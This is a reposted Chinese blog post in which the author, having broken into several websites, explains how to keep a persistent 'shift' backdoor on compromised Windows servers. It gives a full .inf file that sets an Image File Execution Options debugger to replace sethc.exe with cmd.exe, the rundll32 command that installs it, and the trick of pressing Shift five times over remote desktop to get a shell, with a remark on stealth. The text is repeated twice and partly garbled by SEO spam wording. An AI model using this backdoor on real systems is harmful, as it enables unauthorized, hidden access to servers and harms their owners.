添加SHIFT后门又一法 学习如何查找后门
网站建设 2021-07-03 09:40www.dzhlxh.cn网站建设
前几天搞了几个网站,之前搞的站一般不留后门,其实基本留了都被删除了,这次下决心要搞个shift后门留着自己用的,秒杀给你介绍一个方法!
将狼蚁网站SEO优化的代码保存成inf文件
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution options\sethc.exe,debugger,0x00000000,c:\windows\system32\cmd.exe
然后上传到一个可以执行目录,比如我这里上传到c:\windows\temp\i.inf 然后在命令行执行
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\windows\temp\i.inf
然后远程登录3389,按5下shift即可跳出cmd.exe
为什么要命令行?隐蔽性?大家自行掂量
网络推广网站推广转载:秒杀博客
将狼蚁网站SEO优化的代码保存成inf文件
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution options\sethc.exe,debugger,0x00000000,c:\windows\system32\cmd.exe
然后上传到一个可以执行目录,比如我这里上传到c:\windows\temp\i.inf 然后在命令行执行
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\windows\temp\i.inf
然后远程登录3389,按5下shift即可跳出cmd.exe
为什么要命令行?隐蔽性?大家自行掂量
网络推广网站推广转载:秒杀博客
上一篇:阿江统计系统V1.6后台拿SHELL的方法
下一篇:SC.exe在渗透中的妙用